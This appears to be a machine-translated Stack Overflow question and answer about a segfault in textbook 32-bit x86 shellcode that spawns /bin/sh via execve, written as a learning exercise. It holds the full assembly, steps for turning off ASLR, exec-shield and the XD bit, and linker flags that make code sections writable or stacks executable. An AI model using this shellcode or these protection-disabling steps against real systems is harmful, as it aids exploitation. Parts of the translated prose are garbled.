写入由db [assembly]分配的字符串时的Segfault

时间:2014-08-04 17:48:38

标签: linux assembly x86 exploit shellcode

我遵循基本的shell-spawning漏洞利用示例。以下是我的书告诉我写的内容,但我仍然遇到了段错误。

在gdb中运行时,我在" mov byte [esi + 7],al"处得到段错误。这一行是必要的,这样我就可以在字符串的末尾添加一个空字节" / bin / sh"。 当我将它翻转到" mov byte al,[esi + 7]"时,这不会导致段错误。我假设我对存储字符串的内存中没有写权限。看来我只有读取权限。

我正在使用运行32位centos的虚拟机,该虚拟机由64位centos机器托管。

我已采取的预防措施:

  1. 在我的虚拟机中使用sysctl -w kernel.randomize_va_space = 0
  2. 禁用了ASLR
  3. 使用sysctl -w kernel.exec-shield = 0
  4. 在我的虚拟机中禁用了dep
  5. 通过BIOS设置

    禁用主机中的XD标志
    Section         .text
       global _start
    
    _start:
    
    jmp short    GotoCall
    
    shellcode:
    
    pop          esi                     ; stores address of string in esi 
    xor          eax, eax                ; fill eax with null bytes
    mov byte     [esi + 7], al           ; replace 'J' with null byte - SEGFAULT!
    lea          ebx, [esi]              ; stores address of string in ebx
    mov long     [esi + 8], ebx          ; stores address of string in AAAA
    mov long     [esi + 12], eax         ; stores null bytes in KKKK
    mov byte     al, 0x0b                ; stores 11 (execve code) in al
    mov          ebx, esi                ; stores address of string in ebx
    lea          ecx, [esi + 8]          ; stores pointer to string in ecx
    lea          edx, [esi + 12]         ; stores pointer to null in edx
    int          0x80                    ; system call
    
    GotoCall:
    
    call         shellcode               ; pushes address of string on stack
    db           '/bin/shJAAAAKKKK'      ; creates space for string
    
  6. 我已经确认ESI包含指向gdb中字符串的正确地址。

        /x $esi = 0x8048081
        (gdb) x/s 0x8048081
        0x8048081 <GotoCall+5>:  "/bin/shJAAAAKKKK"
    

    我也曾尝试使用0x1而不是al来写[esi]而不是[esi + 7]。看来我只是无法写入db指令分配的内存。为什么我不能向[esi + 7]写一个空字节?

1 个答案:

答案 0 :(得分:3)

您已发现问题 - 您的内存中的字符串不可写。这是因为它位于.text部分,默认为只读。

您可以通过链接-N选项(用于测试shellcode)使其可写

gcc -zexecstack关联会使.data成为可执行文件,因此您可以将修改自身的shellcode替换为使用.text使ld -N可写的替代方法。